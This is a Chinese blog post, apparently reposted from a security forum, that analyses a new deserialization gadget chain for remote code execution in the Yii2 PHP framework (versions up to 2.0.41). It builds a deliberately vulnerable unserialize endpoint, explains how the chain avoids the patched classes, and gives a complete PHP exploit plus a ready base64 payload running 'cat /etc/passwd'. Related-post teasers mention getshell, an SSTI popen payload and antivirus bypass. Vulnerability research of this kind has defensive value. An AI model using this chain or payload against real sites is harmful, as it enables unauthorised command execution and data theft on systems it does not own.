Yii2反序列化RCE 新POP链

Yii反序列化漏洞

0x搭建环境

首先利用composer安装yii2框架

composer create-project yiisoft/yii2-app-basic yii2

yii2 version <= 2.0.41(GitHub最新版本)

使用docker环境启动

cd yii2
docker run -d -p 80:80  -v $(pwd):/var/www/html suanve/php:7.3-apache

访问127.0.0.1:80/web 打开首页

环境搭建成功在controllers/SiteController.php添加代码

public function actionTest()
    {
        // echo base64_decode(file_get_contents("php://input"));
        return unserialize(base64_decode(file_get_contents("php://input")));
    }

1x destruct起点

往常大家的链子都是通过\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php_dataReader开始的

但是在最新版本官方添加了__wakeup 用于阻止反序列化

/**
     * Unserialization is disabled to prevent remote code execution in case application
     * calls unserialize() on user input containing specially crafted string.
     * @see CVE-2020-15148
     * @since 2.0.38
     */
    public function __wakeup()
    {
        throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
    }

根据魔术方法function __destruct()我们可以找到vendor/codeception/codeception/ext/RunProcess.php文件

这里因为$this->processes可控 所以\$process可控,下文中if判断处isRunning()可用来触发call方法,在当前文件中我们没有找到`wakeup`函数,证明这里是可以作为我们pop链的起点的。

2x call调用

以前大家都用vendor/fakerphp/faker/src/Faker/Generator.php来调用$this->format

官方在新版本也同样添加了__wakeup()做限制

public function __wakeup()
    {
        $this->formatters = [];
    }

我们继续搜索call 发现vendor/fakerphp/faker/src/Faker/ValidGenerator.php的`call方法存在两处代码执行点,且没有__wakeup`限制

这里$this->generator,$this->validator,$this->maxRetries三者可控

我们只需要给$this->generator找一个call返回可控字符串的对象就可以使$res返回值可控

do循环中的if判断可以直接把maxRetries设置为很大的数跳过Exception

接着$this->validator可控制 我们就可以执行任意命令了

3x 二重call

这里直接找到了一个Faker命名空间下的vendor/fakerphp/faker/src/Faker/DefaultGenerator.php

我们将$this->default设置为'cat /etc/passwd' 这样vendor/fakerphp/faker/src/Faker/ValidGenerator.php

$this->generator为DefaultGenerator.php`

$name触发call

$arguments 无所谓的情况下

$res的结果将完全可控

$res = call_user_func_array([$this->generator, $name], $arguments);
// $res完全可控

4x exp:

<?php
namespace Faker{

    class DefaultGenerator{
        protected $default ;
        function __construct($argv)
        {
            $this->default = $argv;
        }
    }

    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($command,$argv)
        {
            $this->generator = new DefaultGenerator($argv);
            $this->validator = $command;
            $this->maxRetries = 99999999;
        }
    }
}

namespace Codeception\Extension{
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes = [] ;
        function __construct($command,$argv)
        {
            $this->processes[] = new ValidGenerator($command,$argv);
        }
    }
}

namespace {
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess('system','cat /etc/passwd');
    echo(base64_encode(serialize($exp)));
    exit();
}

TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MTU6ImNhdCAvZXRjL3Bhc3N3ZCI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6OTk5OTk5OTk7fX19

本文来源于: https://xz.aliyun.com/t/9420

相关推荐

CC链 1-7 分析

一、简介 Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java

记一次 getshell 过程

前言 兜兜转转最终拿到了 shell ,但是发现大佬已经在前一个小时 getshell 了,记录一下我是怎么发现的过程。 未授权测试是违法的,仅供学习交流。 过程 打开网站查看源代码,发现成功登录后会跳转到 f0.html 文件 没登录直接

GitHub SSTI靶场 wp

本人小白,师傅们勿喷 payload主要有两种形式: 一种是获取os来执行命令 {{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('

ThinkPHP 6 反序列化漏洞

ThinkPHP6 反序列化漏洞 环境W tp6.0 apache php7.3 漏洞分析 反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件 app/controller/Index.php 注意tp6的url访

记一次详细的代码审计

前言 本篇是对极致CMSv1.7漏洞的一些新的发现,先从MVC开始到漏洞的发掘利用 MVC篇 首先,先打开index.php <?php // +-----------------------------------------------

Typecho反序列化漏洞分析

Typcho反序列化漏洞分析 影响范围: 2017年10月24日之前的所有版本 环境搭建: 下载地址:http://typecho.org/,这里主要是说下,在intall之前,需要我们手动去数据库添加Typecho数据库 我之前去官网下载

Java反序列化 — URLDNS利用链分析

Java反序列化 我们都知道一个对象只要实现了Serilizable接口,这个对象就可以被序列化,java的这种序列化模式为开发者提供了很多便利,我们可以不必关系具体序列化的过程,只要这个类实现了Serilizable接口,这个类的所有属性

Burpsuite新手教程(一)Burpsuite在各场景下的抓包应用

1.网页抓包 1.1 火狐浏览器抓包 环境需求: 火狐浏览器 代理插件 (1) 打开测试工具BurpSuite,默认工具拦截功能是开启的,颜色较深,我们点击取消拦截。 下图取消拦截状态,数据包可以自由通过: (2) 按下图顺序点击选显卡

Internal System wp2021hfctf

代码审计 const express = require('express') const router = express.Router() const axios = require('axios') const isIp = requ

58集团白盒代码审计系统建设实践2:深入理解SAST

背景 源代码安全检测是安全开发流程(SDL)中非常重要的一部分,在58集团的CI/CD流程中每天有数千次量级的构建及发布,白盒检测的自动化能力显得极为重要。企业级的白盒代码审计系统就不仅仅面临漏洞发现的需求,也需要适应企业CI/CD流程。由

cs bypass卡巴斯基内存查杀 2

cs bypass卡巴斯基内存查杀 上次看到yansu大佬写了一篇cs bypass卡巴斯基内存查杀,这次正好有时间我也不要脸的跟跟风,所以同样发在先知社区 yansu大佬是通过对cs的特征进行bypass,这次让我们换一种思路,尝试从另一